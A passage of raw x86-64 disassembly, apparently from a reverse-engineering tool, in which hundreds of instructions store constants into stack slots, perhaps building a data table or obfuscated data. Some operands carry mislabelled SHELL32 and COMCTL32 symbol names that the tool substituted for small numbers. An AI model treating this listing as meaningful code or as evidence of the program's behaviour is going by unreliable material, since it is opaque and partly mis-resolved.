mov qword [rsp + 0x9e28], rax
mov dword [rsp + 0x57a8], 0x22e67a36
mov byte [rsp + 0xfd], 0x25
movabs rax, 0x7d1cf35b77b572
mov qword [rsp + 0x9e30], rax
mov byte [rsp + 0xfe], ILFindLastID
mov eax, 0x150
mov word [rsp + 0xd90], ax
movabs rax, 0x7b0ce31e31ac08
mov qword [rsp + 0x9e38], rax
mov eax, 0x245
mov word [rsp + 0xd94], ax
mov eax, 0x8ad
mov word [rsp + 0xd98], ax
movabs rax, 0x79d8bc32703a60
mov qword [rsp + 0x9e40], rax
mov byte [rsp + 0xff], 0x5e
mov eax, 0xea
mov word [rsp + 0xd9c], ax
mov eax, 0x644
mov word [rsp + 0xda0], ax
movabs rax, 0x722dbdd6914138
mov qword [rsp + 0x9e48], rax
movabs rax, 0x73e84a4a42ab17
mov qword [rsp + 0x9e50], rax
mov dword [rsp + 0x57ac], 0x35a43f1c
movabs rax, 0x78f9ec34f2e9be
mov qword [rsp + 0x9e58], rax
mov byte [rsp + 0x100], SHDoDragDrop
mov eax, 0xf8c
mov word [rsp + 0xda4], ax
movabs rax, 0x7dd7b37bf6abe0
mov qword [rsp + 0x9e60], rax
mov eax, reloc.COMCTL32.dll_MakeDragList
mov word [rsp + 0xda8], ax
mov byte [rsp + 0x101], 0x22
movabs rax, 0x7e024c291f7e87
mov qword [rsp + 0x9e68], rax
mov dword [rsp + 0x57b0], 0x72ff3138
movabs rax, 0x7c1994753483c8
mov qword [rsp + 0x9e70], rax
mov eax, 0x1a4
mov word [rsp + 0xdac], ax
movabs rax, 0x7301b51a673781
mov qword [rsp + 0x9e78], rax
movabs rax, 0x77473fb036619a
mov qword [rsp + 0x9e80], rax
movabs rax, 0x7dc3ac936de5d2
mov qword [rsp + 0x9e88], rax
mov eax, 0x2f9
mov word [rsp + 0xdb0], ax
mov dword [rsp + 0x57b4], 0x1892d869
mov byte [rsp + 0x102], reloc.SHELL32.dll_ILClone
movabs rax, 0x72bbf1abb484d0
mov qword [rsp + 0x9e90], rax
movabs rax, 0x71bb362a819c94
mov qword [rsp + 0x9e98], rax
mov byte [rsp + 0x103], 0xbc
mov byte [rsp + 0x104], SHDoDragDrop
mov dword [rsp + 0x57b8], 0x2a286bcb
movabs rax, 0x7b0cf1c540496d
mov qword [rsp + 0x9ea0], rax
mov dword [rsp + 0x57bc], 0x8520
mov dword [rsp + 0x57c0], 0xaa49
mov eax, 0x8ae
mov word [rsp + 0xdb4], ax
movabs rax, 0x7743a6291444c7
mov qword [rsp + 0x9ea8], rax
mov eax, 0xd06
mov word [rsp + 0xdb8], ax
mov byte [rsp + 0x105], 0x9f
mov byte [rsp + 0x106], 0x76
movabs rax, 0x70e8df57559152
mov qword [rsp + 0x9eb0], rax
movabs rax, 0x78e0678599db4f
mov qword [rsp + 0x9eb8], rax
mov byte [rsp + 0x107], 0xa
mov eax, 0x2be
mov word [rsp + 0xdbc], ax
mov byte [rsp + 0x108], 0x68
mov dword [rsp + 0x57c4], 0xb131
mov eax, 0x6a
mov word [rsp + 0xdc0], ax
mov byte [rsp + 0x109], 0x7b
mov byte [rsp + 0x10a], 0x3d
movabs rax, 0x766a1d521c508a
mov qword [rsp + 0x9ec0], rax
mov eax, 0xd04
mov word [rsp + 0xdc4], ax
movabs rax, 0x78dd4335fdec03
mov qword [rsp + 0x9ec8], rax
mov dword [rsp + 0x57c8], 0x318f
movabs rax, 0x702d2a50e0445e
mov qword [rsp + 0x9ed0], rax
movabs rax, 0x7b0a4121f7cd6c
mov qword [rsp + 0x9ed8], rax
mov byte [rsp + 0x10b], 0x60
mov eax, 0x515
mov word [rsp + 0xdc8], ax
mov eax, 0xe4b
mov word [rsp + 0xdcc], ax
movabs rax, 0x7cb8a2cbd2b8ee
mov qword [rsp + 0x9ee0], rax
mov dword [rsp + 0x57cc], 0x1dd59a92
mov eax, 0x164
mov word [rsp + 0xdd0], ax
mov dword [rsp + 0x57d0], 0x1470fece
movabs rax, 0x7628b43deff6b5
mov qword [rsp + 0x9ee8], rax
mov byte [rsp + 0x10c], ILIsEqual
movabs rax, 0x74d00abf7e67b0
mov qword [rsp + 0x9ef0], rax
mov eax, 0x5ec
mov word [rsp + 0xdd4], ax
mov byte [rsp + 0x10d], 0x31
mov eax, 0x73c
mov word [rsp + 0xdd8], ax
movabs rax, 0x7ac4fa4e6cd346
mov qword [rsp + 0x9ef8], rax
mov eax, 0xfa4
mov word [rsp + 0xddc], ax
mov byte [rsp + 0x10e], 9
movabs rax, 0x719892e92952ea
mov qword [rsp + 0x9f00], rax
movabs rax, 0x7b777fc89f63cd
mov qword [rsp + 0x9f08], rax
mov eax, 0x46d
mov word [rsp + 0xde0], ax
mov byte [rsp + 0x10f], 0x5a
mov dword [rsp + 0x57d4], 0x573f
mov eax, 0x9ea
mov word [rsp + 0xde4], ax
mov eax, 0xba
mov word [rsp + 0xde8], ax
mov byte [rsp + 0x110], 0x7d
movabs rax, 0x7b0b93c182a379
mov qword [rsp + 0x9f10], rax
mov eax, 0x5d7
mov word [rsp + 0xdec], ax
movabs rax, 0x75833643599ac8
mov qword [rsp + 0x9f18], rax
mov eax, 0xe72
mov word [rsp + 0xdf0], ax
mov dword [rsp + 0x57d8], 0x26ad1bf9
mov eax, 0xac6
mov word [rsp + 0xdf4], ax
mov byte [rsp + 0x111], 0x76
mov byte [rsp + 0x112], SHDoDragDrop
movabs rax, 0x7227a926bbd813
mov qword [rsp + 0x9f20], rax
mov eax, 0x584
mov word [rsp + 0xdf8], ax
mov eax, 0x121
mov word [rsp + 0xdfc], ax
mov eax, 0x1ba
mov word [rsp + 0xe00], ax
mov dword [rsp + 0x57dc], 0x145a8db
movabs rax, 0x799daceeb9221d
mov qword [rsp + 0x9f28], rax
mov eax, 0x4d7
mov word [rsp + 0xe04], ax
mov dword [rsp + 0x57e0], 0x2545
mov eax, 0x592
mov word [rsp + 0xe08], ax
mov byte [rsp + 0x113], 0x6e
movabs rax, 0x7affa400a216e9
mov qword [rsp + 0x9f30], rax
movabs rax, 0x706ab582b5beb4
mov qword [rsp + 0x9f38], rax
mov dword [rsp + 0x57e4], 0x7f4c788
mov eax, 0x1e5
mov word [rsp + 0xe0c], ax
mov eax, SHDoDragDrop
mov word [rsp + 0xe10], ax
movabs rax, 0x799af9fdea464e
mov qword [rsp + 0x9f40], rax
mov byte [rsp + 0x114], SHDoDragDrop
mov dword [rsp + 0x57e8], 0xddb6
mov byte [rsp + 0x115], 5
mov eax, 0xdea
mov word [rsp + 0xe14], ax
mov eax, 0x3f9
mov word [rsp + 0xe18], ax
mov dword [rsp + 0x57ec], 0x440d35b3
mov eax, 0x638
mov word [rsp + 0xe1c], ax
movabs rax, 0x7507d9d6abde08
mov qword [rsp + 0x9f48], rax
mov eax, 0x6bd
mov word [rsp + 0xe20], ax
mov eax, 0x78a
mov word [rsp + 0xe24], ax
mov eax, 0x3b
mov word [rsp + 0xe28], ax
mov byte [rsp + 0x116], 0x6b
movabs rax, 0x7eb879a5f20027
mov qword [rsp + 0x9f50], rax
mov eax, 0x242
mov word [rsp + 0xe2c], ax
mov eax, 0x307
mov word [rsp + 0xe30], ax
mov eax, 0xcc8
mov word [rsp + 0xe34], ax
mov dword [rsp + 0x57f0], 0x6f44
movabs rax, 0x7c63cb167f7591
mov qword [rsp + 0x9f58], rax
mov dword [rsp + 0x57f4], 0x28cb5d0
mov eax, 0x4be
mov word [rsp + 0xe38], ax
mov byte [rsp + 0x117], 0x5f
mov byte [rsp + 0x118], 0x63
mov dword [rsp + 0x57f8], 0x4b2a
mov dword [rsp + 0x57fc], 0xd8d8
mov byte [rsp + 0x119], 0x4e
mov dword [rsp + 0x5800], 0x8fa1
mov eax, 0x3b4
mov word [rsp + 0xe3c], ax
mov byte [rsp + 0x11a], 0x50
movabs rax, 0x7b83f2cea4712d
mov qword [rsp + 0x9f60], rax
mov dword [rsp + 0x5804], 0x7469
mov dword [rsp + 0x5808], 0x7b6dfc2
movabs rax, 0x738fbdb737e7ff
mov qword [rsp + 0x9f68], rax
mov byte [rsp + 0x11b], 0x6a
mov eax, 0x53f
mov word [rsp + 0xe40], ax
mov byte [rsp + 0x11c], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x11d], 0x61
mov dword [rsp + 0x580c], 0x2c47fca2
mov byte [rsp + 0x11e], 0xd5
mov eax, 0x363
mov word [rsp + 0xe44], ax
movabs rax, 0x79befcf963b1d7
mov qword [rsp + 0x9f70], rax
mov dword [rsp + 0x5810], 0x81b8
movabs rax, 0x7acd41b333aaab
mov qword [rsp + 0x9f78], rax
movabs rax, 0x7b59a2609934c0
mov qword [rsp + 0x9f80], rax
mov eax, 0x476
mov word [rsp + 0xe48], ax
mov byte [rsp + 0x11f], 0x5d
movabs rax, 0x77ec88fa1f672c
mov qword [rsp + 0x9f88], rax
movabs rax, 0x7912b8bdd52e13
mov qword [rsp + 0x9f90], rax
mov eax, 0x4a2
mov word [rsp + 0xe4c], ax
mov eax, 0x32e
mov word [rsp + 0xe50], ax
movabs rax, 0x766eb3079435df
mov qword [rsp + 0x9f98], rax
mov dword [rsp + 0x5814], 0x58b9f8bb
mov dword [rsp + 0x5818], 0x24cd
mov eax, 0x344
mov word [rsp + 0xe54], ax
movabs rax, 0x7db180241548a2
mov qword [rsp + 0x9fa0], rax
mov eax, 0x25d
mov word [rsp + 0xe58], ax
movabs rax, 0x700bf7efadfb06
mov qword [rsp + 0x9fa8], rax
mov byte [rsp + 0x120], 0x67
mov eax, 0x436
mov word [rsp + 0xe5c], ax
mov eax, 0xbe8
mov word [rsp + 0xe60], ax
mov eax, 0x2b6
mov word [rsp + 0xe64], ax
movabs rax, 0x7c88f8607134d8
mov qword [rsp + 0x9fb0], rax
mov dword [rsp + 0x581c], 0xaed
movabs rax, 0x7a1a9531bff8fb
mov qword [rsp + 0x9fb8], rax
mov dword [rsp + 0x5820], 0xf04d
mov dword [rsp + 0x5824], 0x16e462e6
mov eax, 0x309
mov word [rsp + 0xe68], ax
movabs rax, 0x74caad1d2468a1
mov qword [rsp + 0x9fc0], rax
mov byte [rsp + 0x121], 0x73
mov eax, 0xd14
mov word [rsp + 0xe6c], ax
movabs rax, 0x78b903f87884a3
mov qword [rsp + 0x9fc8], rax
mov eax, 0x6c6
mov word [rsp + 0xe70], ax
movabs rax, 0x729bc31316d79c
mov qword [rsp + 0x9fd0], rax
mov byte [rsp + 0x122], 0x39
mov dword [rsp + 0x5828], 0x3b472747
mov dword [rsp + 0x582c], 0x6a82952b
mov byte [rsp + 0x123], PathMakeUniqueName
mov eax, 0x132
mov word [rsp + 0xe74], ax
movabs rax, 0x79e8458bd51e12
mov qword [rsp + 0x9fd8], rax
mov eax, 0x4d8
mov word [rsp + 0xe78], ax
mov byte [rsp + 0x124], 0x35
mov byte [rsp + 0x125], 0xcb
mov byte [rsp + 0x126], SHTestTokenMembership
movabs rax, 0x7e6c1dd48237c2
mov qword [rsp + 0x9fe0], rax
mov byte [rsp + 0x127], reloc.SHELL32.dll_ILIsEqual
mov dword [rsp + 0x5830], 0xd5cf
mov eax, 0x5b1
mov word [rsp + 0xe7c], ax
mov dword [rsp + 0x5834], 0x3043
mov eax, 0xd04
mov word [rsp + 0xe80], ax
mov byte [rsp + 0x128], ILSaveToStream
movabs rax, 0x79339266c43cc4
mov qword [rsp + 0x9fe8], rax
mov eax, 0x217
mov word [rsp + 0xe84], ax
movabs rax, 0x74196c67a30139
mov qword [rsp + 0x9ff0], rax
mov byte [rsp + 0x129], ILSaveToStream
movabs rax, 0x7dd0a6b3d29af1
mov qword [rsp + 0x9ff8], rax
mov eax, 0xfc9
mov word [rsp + 0xe88], ax
mov eax, 0x738
mov word [rsp + 0xe8c], ax
mov byte [rsp + 0x12a], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5838], 0x463fb438
mov dword [rsp + 0x583c], 0xc70
movabs rax, 0x7d981152845bff
mov qword [rsp + 0xa000], rax
movabs rax, 0x741390458b954f
mov qword [rsp + 0xa008], rax
mov byte [rsp + 0x12b], 0x20
mov eax, 0x87
mov word [rsp + 0xe90], ax
mov dword [rsp + 0x5840], 0xd85d
mov byte [rsp + 0x12c], 0x73
mov eax, 0x781
mov word [rsp + 0xe94], ax
mov byte [rsp + 0x12d], 0xd4
movabs rax, 0x7736b0f2f4e08f
mov qword [rsp + 0xa010], rax
mov byte [rsp + 0x12e], 0x22
mov eax, 0x598
mov word [rsp + 0xe98], ax
movabs rax, 0x7e6b0501b0ca40
mov qword [rsp + 0xa018], rax
mov eax, 0x52b
mov word [rsp + 0xe9c], ax
mov byte [rsp + 0x12f], 0x3f
movabs rax, 0x739cc451b2050d
mov qword [rsp + 0xa020], rax
mov eax, 0x51d
mov word [rsp + 0xea0], ax
mov eax, 0xe52
mov word [rsp + 0xea4], ax
mov dword [rsp + 0x5844], 0x8f9428a
movabs rax, 0x768fb360ce060a
mov qword [rsp + 0xa028], rax
mov eax, 0x387
mov word [rsp + 0xea8], ax
mov eax, reloc.SHELL32.dll_SHChangeNotification_Unlock
mov word [rsp + 0xeac], ax
mov eax, 0x4a0
mov word [rsp + 0xeb0], ax
mov eax, 0x4b7
mov word [rsp + 0xeb4], ax
mov eax, 0x28f
mov word [rsp + 0xeb8], ax
movabs rax, 0x75872856df42b9
mov qword [rsp + 0xa030], rax
mov eax, 0xa98
mov word [rsp + 0xebc], ax
movabs rax, 0x74ad109174148c
mov qword [rsp + 0xa038], rax
mov eax, 0x2bb
mov word [rsp + 0xec0], ax
mov dword [rsp + 0x5848], 0x1e87
movabs rax, 0x7daa4ddd5b9863
mov qword [rsp + 0xa040], rax
mov dword [rsp + 0x584c], 0x1754
mov dword [rsp + 0x5850], 0x5195
mov dword [rsp + 0x5854], 0x39d
movabs rax, 0x748b6e3b6f1e70
mov qword [rsp + 0xa048], rax
mov eax, 0x646
mov word [rsp + 0xec4], ax
movabs rax, 0x700fdb30f008c7
mov qword [rsp + 0xa050], rax
movabs rax, 0x7ad4aac828c1e5
mov qword [rsp + 0xa058], rax
mov dword [rsp + 0x5858], 0x379d
mov eax, 0x425
mov word [rsp + 0xec8], ax
mov eax, 0x69e
mov word [rsp + 0xecc], ax
mov eax, 0x4f
mov word [rsp + 0xed0], ax
mov byte [rsp + 0x130], 0x5a
mov eax, 0x2cc
mov word [rsp + 0xed4], ax
mov eax, 0x136
mov word [rsp + 0xed8], ax
movabs rax, 0x7d56e9217128b5
mov qword [rsp + 0xa060], rax
movabs rax, 0x728185804ec214
mov qword [rsp + 0xa068], rax
movabs rax, 0x73e507d0ef3dab
mov qword [rsp + 0xa070], rax
mov eax, 0x11f
mov word [rsp + 0xedc], ax
mov eax, 0x7ac
mov word [rsp + 0xee0], ax
mov eax, 0x5c7
mov word [rsp + 0xee4], ax
movabs rax, 0x709254241edb11
mov qword [rsp + 0xa078], rax
mov dword [rsp + 0x585c], 0x1cb7420d
movabs rax, 0x70539f3192f478
mov qword [rsp + 0xa080], rax
mov dword [rsp + 0x5860], 0xb67b
mov eax, 0x380
mov word [rsp + 0xee8], ax
mov dword [rsp + 0x5864], 0x4c7975c1
movabs rax, 0x7b81c2c99a1ec5
mov qword [rsp + 0xa088], rax
mov byte [rsp + 0x131], PathMakeUniqueName
movabs rax, 0x74ba177d22540b
mov qword [rsp + 0xa090], rax
mov dword [rsp + 0x5868], 0xa5f2
mov dword [rsp + 0x586c], 0x65528936
movabs rax, 0x79da63d20c8634
mov qword [rsp + 0xa098], rax
mov eax, 0x527
mov word [rsp + 0xeec], ax
mov eax, 0x79b
mov word [rsp + 0xef0], ax
mov dword [rsp + 0x5870], 0x52ec
mov dword [rsp + 0x5874], 0x54d57330
movabs rax, 0x7076eb1dc7d794
mov qword [rsp + 0xa0a0], rax
mov eax, 0x480
mov word [rsp + 0xef4], ax
mov eax, 0x182
mov word [rsp + 0xef8], ax
mov eax, 0x3b3
mov word [rsp + 0xefc], ax
mov byte [rsp + 0x132], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5878], 0x9f09
mov eax, 0x85b
mov word [rsp + 0xf00], ax
mov eax, 0x490
mov word [rsp + 0xf04], ax
mov dword [rsp + 0x587c], 0xd778aa
mov dword [rsp + 0x5880], 0xb7fb
mov eax, 0xdd0
mov word [rsp + 0xf08], ax
mov eax, 0x336
mov word [rsp + 0xf0c], ax
movabs rax, 0x7ee71d3312d9a5
mov qword [rsp + 0xa0a8], rax
mov dword [rsp + 0x5884], 0x135fa66f
mov eax, 0x3f0
mov word [rsp + 0xf10], ax
movabs rax, 0x7855b3b63dd923
mov qword [rsp + 0xa0b0], rax
mov byte [rsp + 0x133], SHTestTokenMembership
movabs rax, 0x7c32dae7d9de58
mov qword [rsp + 0xa0b8], rax
movabs rax, 0x786c73daac0591
mov qword [rsp + 0xa0c0], rax
mov dword [rsp + 0x5888], 0x68ad
mov dword [rsp + 0x588c], 0x5f0
mov eax, 0x13b
mov word [rsp + 0xf14], ax
mov eax, 0x2fe
mov word [rsp + 0xf18], ax
mov dword [rsp + 0x5890], 0x26573331
movabs rax, 0x70a9938049fd43
mov qword [rsp + 0xa0c8], rax
mov eax, 0xd6c
mov word [rsp + 0xf1c], ax
mov dword [rsp + 0x5894], 0xeab2
mov eax, 0xe50
mov word [rsp + 0xf20], ax
movabs rax, 0x7925ef551f899e
mov qword [rsp + 0xa0d0], rax
movabs rax, 0x701df84a869a58
mov qword [rsp + 0xa0d8], rax
mov byte [rsp + 0x134], 0x30
movabs rax, 0x7df9bf24a9bc58
mov qword [rsp + 0xa0e0], rax
movabs rax, 0x7df7a86cc52712
mov qword [rsp + 0xa0e8], rax
mov byte [rsp + 0x135], SHDoDragDrop
mov eax, 0x339
mov word [rsp + 0xf24], ax
movabs rax, 0x703bdad4ddbb82
mov qword [rsp + 0xa0f0], rax
mov eax, 0x708
mov word [rsp + 0xf28], ax
movabs rax, 0x7714a3a741c0e1
mov qword [rsp + 0xa0f8], rax
mov dword [rsp + 0x5898], 0x9468
mov dword [rsp + 0x589c], 0xd09f
mov dword [rsp + 0x58a0], 0x456ac76a
mov eax, 0x1c2
mov word [rsp + 0xf2c], ax
movabs rax, 0x7e7b2c2fe888b7
mov qword [rsp + 0xa100], rax
movabs rax, 0x713a0c7b39d1b9
mov qword [rsp + 0xa108], rax
mov eax, 0x278
mov word [rsp + 0xf30], ax
mov eax, 0x25b
mov word [rsp + 0xf34], ax
mov byte [rsp + 0x136], 0x5f
movabs rax, 0x758c06d73cbcb7
mov qword [rsp + 0xa110], rax
movabs rax, 0x716f1e0ae6447b
mov qword [rsp + 0xa118], rax
movabs rax, 0x70eb57f418b147
mov qword [rsp + 0xa120], rax
movabs rax, 0x78a95c61ee2b79
mov qword [rsp + 0xa128], rax
mov eax, 0x579
mov word [rsp + 0xf38], ax
mov eax, 0x8bf
mov word [rsp + 0xf3c], ax
movabs rax, 0x799c19ecab5d36
mov qword [rsp + 0xa130], rax
mov byte [rsp + 0x137], SHDoDragDrop
mov dword [rsp + 0x58a4], 0xa62
movabs rax, 0x7a44be73d56f3d
mov qword [rsp + 0xa138], rax
movabs rax, 0x74ca588cd7017e
mov qword [rsp + 0xa140], rax
mov eax, 0x234
mov word [rsp + 0xf40], ax
mov byte [rsp + 0x138], 0x6d
mov dword [rsp + 0x58a8], 0x7703
mov eax, 0x34
mov word [rsp + 0xf44], ax
movabs rax, 0x76005e6801eb45
mov qword [rsp + 0xa148], rax
mov eax, 0x4ca
mov word [rsp + 0xf48], ax
mov byte [rsp + 0x139], 0x5c
mov byte [rsp + 0x13a], 0x6b
movabs rax, 0x72a5bc6cee1d36
mov qword [rsp + 0xa150], rax
mov eax, 0x986
mov word [rsp + 0xf4c], ax
mov dword [rsp + 0x58ac], 0xc0ff
mov eax, 0x51c
mov word [rsp + 0xf50], ax
mov dword [rsp + 0x58b0], 0x3eca03a4
movabs rax, 0x76857fe600fa01
mov qword [rsp + 0xa158], rax
mov eax, 0x43f
mov word [rsp + 0xf54], ax
mov dword [rsp + 0x58b4], 0x423b
mov eax, 0x1ef
mov word [rsp + 0xf58], ax
mov byte [rsp + 0x13b], reloc.SHELL32.dll_PathMakeUniqueName
movabs rax, 0x767689ca202372
mov qword [rsp + 0xa160], rax
movabs rax, 0x742d8996c632d3
mov qword [rsp + 0xa168], rax
mov eax, 0x724
mov word [rsp + 0xf5c], ax
mov eax, 0xe88
mov word [rsp + 0xf60], ax
movabs rax, 0x7c6df2bcc277a2
mov qword [rsp + 0xa170], rax
mov byte [rsp + 0x13c], PathYetAnotherMakeUniqueName
movabs rax, 0x745b3b5643698b
mov qword [rsp + 0xa178], rax
mov eax, 0x269
mov word [rsp + 0xf64], ax
mov byte [rsp + 0x13d], 0x5e
movabs rax, 0x7bc48c97467c19
mov qword [rsp + 0xa180], rax
mov byte [rsp + 0x13e], 0x5b
mov eax, 0x64a
mov word [rsp + 0xf68], ax
mov byte [rsp + 0x13f], SHDoDragDrop
mov byte [rsp + 0x140], 0x23
mov byte [rsp + 0x141], 0x35
movabs rax, 0x74d1775703d877
mov qword [rsp + 0xa188], rax
mov byte [rsp + 0x142], 0x68
mov dword [rsp + 0x58b8], 0xb79e
mov byte [rsp + 0x143], 0x72
mov byte [rsp + 0x144], reloc.SHELL32.dll_ILIsParent
mov eax, 0x502
mov word [rsp + 0xf6c], ax
mov byte [rsp + 0x145], 7
movabs rax, 0x718e05e9babe71
mov qword [rsp + 0xa190], rax
mov byte [rsp + 0x146], 0x7e
mov byte [rsp + 0x147], 7
mov dword [rsp + 0x58bc], 0x1b33ad92
movabs rax, 0x73c4aac8ddc09c
mov qword [rsp + 0xa198], rax
movabs rax, 0x78ce1ef82011a2
mov qword [rsp + 0xa1a0], rax
mov dword [rsp + 0x58c0], 0x12d3517
mov dword [rsp + 0x58c4], 0x5f14
mov eax, 0x314
mov word [rsp + 0xf70], ax
movabs rax, 0x78cb5307a25677
mov qword [rsp + 0xa1a8], rax
movabs rax, 0x753500cd6b94a0
mov qword [rsp + 0xa1b0], rax
mov eax, 0x448
mov word [rsp + 0xf74], ax
mov byte [rsp + 0x148], 0x6d
mov dword [rsp + 0x58c8], 0x2251ae
movabs rax, 0x7974d443d0d043
mov qword [rsp + 0xa1b8], rax
movabs rax, 0x7898d86db8a61c
mov qword [rsp + 0xa1c0], rax
mov eax, 0xa2
mov word [rsp + 0xf78], ax
movabs rax, 0x7cd359207ac878
mov qword [rsp + 0xa1c8], rax
mov eax, 0xecf
mov word [rsp + 0xf7c], ax
mov byte [rsp + 0x149], reloc.SHELL32.dll_ILIsEqual
movabs rax, 0x71aa1fe53ee508
mov qword [rsp + 0xa1d0], rax
mov eax, 0x25e
mov word [rsp + 0xf80], ax
mov dword [rsp + 0x58cc], 0x7ee2b2b4
mov eax, 0xf65
mov word [rsp + 0xf84], ax
movabs rax, 0x7356dbe7adaa3d
mov qword [rsp + 0xa1d8], rax
movabs rax, 0x7e96dc4f607919
mov qword [rsp + 0xa1e0], rax
mov eax, 0x3de
mov word [rsp + 0xf88], ax
mov eax, 0x522
mov word [rsp + 0xf8c], ax
movabs rax, 0x7784428b35568d
mov qword [rsp + 0xa1e8], rax
mov dword [rsp + 0x58d0], 0x52812adf
mov eax, 0x8b4
mov word [rsp + 0xf90], ax
mov eax, 0x7d4
mov word [rsp + 0xf94], ax
mov byte [rsp + 0x14a], 0x1e
movabs rax, 0x7402d352f8d3eb
mov qword [rsp + 0xa1f0], rax
mov eax, 0xd59
mov word [rsp + 0xf98], ax
mov byte [rsp + 0x14b], 0x62
mov eax, 0x1e5
mov word [rsp + 0xf9c], ax
mov eax, 0x35a
mov word [rsp + 0xfa0], ax
mov byte [rsp + 0x14c], 0x59
mov dword [rsp + 0x58d4], 0x77ed
mov dword [rsp + 0x58d8], 0xc19265b
mov eax, 0x193
mov word [rsp + 0xfa4], ax
movabs rax, 0x77df1ed34372bc
mov qword [rsp + 0xa1f8], rax
movabs rax, 0x782ea5d6f5706c
mov qword [rsp + 0xa200], rax
movabs rax, 0x7d904bff0a0b2c
mov qword [rsp + 0xa208], rax
movabs rax, 0x76df9936c3e339
mov qword [rsp + 0xa210], rax
mov byte [rsp + 0x14d], 0x20
movabs rax, 0x72dfebd98fd193
mov qword [rsp + 0xa218], rax
mov eax, 0xb33
mov word [rsp + 0xfa8], ax
mov byte [rsp + 0x14e], ILSaveToStream
movabs rax, 0x70c7da009251ab
mov qword [rsp + 0xa220], rax
mov dword [rsp + 0x58dc], 0xcc98
mov byte [rsp + 0x14f], 0x74
mov byte [rsp + 0x150], 0x26
mov eax, 0x379
mov word [rsp + 0xfac], ax
mov eax, 0xb39
mov word [rsp + 0xfb0], ax
movabs rax, 0x7e350436aa7492
mov qword [rsp + 0xa228], rax
movabs rax, 0x7b00e806fab5c5
mov qword [rsp + 0xa230], rax
movabs rax, 0x721d6ba80870b4
mov qword [rsp + 0xa238], rax
movabs rax, 0x7eeffb5a16b2ca
mov qword [rsp + 0xa240], rax
mov byte [rsp + 0x151], 0x3b
movabs rax, 0x7950f94dcf1c46
mov qword [rsp + 0xa248], rax
movabs rax, 0x7084269c753242
mov qword [rsp + 0xa250], rax
movabs rax, 0x7bc8ff322b7ae1
mov qword [rsp + 0xa258], rax
movabs rax, 0x700b5d51483680
mov qword [rsp + 0xa260], rax
movabs rax, 0x79dbb4d36ccf8a
mov qword [rsp + 0xa268], rax
mov eax, 0x310
mov word [rsp + 0xfb4], ax
movabs rax, 0x741ae12edee7ca
mov qword [rsp + 0xa270], rax
mov byte [rsp + 0x152], 0x61
movabs rax, 0x77940a4c3fa522
mov qword [rsp + 0xa278], rax
mov eax, 0x7bd
mov word [rsp + 0xfb8], ax
mov dword [rsp + 0x58e0], 0x57a0
mov eax, 0xe1d
mov word [rsp + 0xfbc], ax
mov byte [rsp + 0x153], 0x24
movabs rax, 0x767464f444dc72
mov qword [rsp + 0xa280], rax
movabs rax, 0x77cecc9d4f0359
mov qword [rsp + 0xa288], rax
mov eax, 0x917
mov word [rsp + 0xfc0], ax
mov byte [rsp + 0x154], 0x71
mov eax, 0x684
mov word [rsp + 0xfc4], ax
mov byte [rsp + 0x155], SHTestTokenMembership
mov eax, 0xb84
mov word [rsp + 0xfc8], ax
mov eax, 0x59
mov word [rsp + 0xfcc], ax
mov byte [rsp + 0x156], 0x5b
mov byte [rsp + 0x157], 0x6e
mov byte [rsp + 0x158], 0x33
mov dword [rsp + 0x58e4], 0xca5b8e0
mov eax, 0x49f
mov word [rsp + 0xfd0], ax
movabs rax, 0x708aae84d5f252
mov qword [rsp + 0xa290], rax
mov byte [rsp + 0x159], 0x5c
mov eax, 0x2dc
mov word [rsp + 0xfd4], ax
movabs rax, 0x7428899c1dccb6
mov qword [rsp + 0xa298], rax
movabs rax, 0x79d10dea4dddad
mov qword [rsp + 0xa2a0], rax
mov byte [rsp + 0x15a], 0xb6
mov byte [rsp + 0x15b], PathMakeUniqueName
mov eax, 0xcdc
mov word [rsp + 0xfd8], ax
movabs rax, 0x7359a1aa527056
mov qword [rsp + 0xa2a8], rax
movabs rax, 0x7dc96c359bf6c0
mov qword [rsp + 0xa2b0], rax
mov byte [rsp + 0x15c], SHSetInstanceExplorer
movabs rax, 0x708a40a3f33879
mov qword [rsp + 0xa2b8], rax
movabs rax, 0x7ac5ced4ed0061
mov qword [rsp + 0xa2c0], rax
movabs rax, 0x7ce963c3bb9a86
mov qword [rsp + 0xa2c8], rax
mov eax, 0xa47
mov word [rsp + 0xfdc], ax
mov eax, 0xc2
mov word [rsp + 0xfe0], ax
mov dword [rsp + 0x58e8], 0xa44b
mov eax, 0x391
mov word [rsp + 0xfe4], ax
mov eax, 0x616
mov word [rsp + 0xfe8], ax
mov eax, 0x751
mov word [rsp + 0xfec], ax
mov dword [rsp + 0x58ec], 0xfa3f
mov eax, 0xa5b
mov word [rsp + 0xff0], ax
mov eax, 0x4e5
mov word [rsp + 0xff4], ax
mov eax, 0xbc2
mov word [rsp + 0xff8], ax
mov eax, 0x2d8
mov word [rsp + 0xffc], ax
mov byte [rsp + 0x15d], 0x63
movabs rax, 0x77446dd7c32898
mov qword [rsp + 0xa2d0], rax
mov eax, 0x26a
mov word [rsp + 0x1000], ax
mov byte [rsp + 0x15e], SHGetNewLinkInfoW
movabs rax, 0x79a1cd59eb19da
mov qword [rsp + 0xa2d8], rax
mov eax, 0x37a
mov word [rsp + 0x1004], ax
movabs rax, 0x7133efc7d27cd7
mov qword [rsp + 0xa2e0], rax
mov eax, 0xa76
mov word [rsp + 0x1008], ax
mov eax, 0x73f
mov word [rsp + 0x100c], ax
movabs rax, 0x7902f94b220ecf
mov qword [rsp + 0xa2e8], rax
mov byte [rsp + 0x15f], 0x31
movabs rax, 0x7847e3ce40a190
mov qword [rsp + 0xa2f0], rax
mov eax, 0x71a
mov word [rsp + 0x1010], ax
movabs rax, 0x7d2ad3377cb578
mov qword [rsp + 0xa2f8], rax
mov eax, 0x2a1
mov word [rsp + 0x1014], ax
movabs rax, 0x790794977737cc
mov qword [rsp + 0xa300], rax
movabs rax, 0x7293fddd939b3a
mov qword [rsp + 0xa308], rax
mov eax, 0xdfb
mov word [rsp + 0x1018], ax
movabs rax, 0x7e643749a220b7
mov qword [rsp + 0xa310], rax
mov eax, 0x202
mov word [rsp + 0x101c], ax
mov eax, 0x6b5
mov word [rsp + 0x1020], ax
mov eax, 0x6d5
mov word [rsp + 0x1024], ax
mov dword [rsp + 0x58f0], 0x12d95517
movabs rax, 0x737df8b7506951
mov qword [rsp + 0xa318], rax
movabs rax, 0x7c1fc625942c2a
mov qword [rsp + 0xa320], rax
mov byte [rsp + 0x160], 0xa
movabs rax, 0x740868c023a39d
mov qword [rsp + 0xa328], rax
movabs rax, 0x7844cd2816d5cf
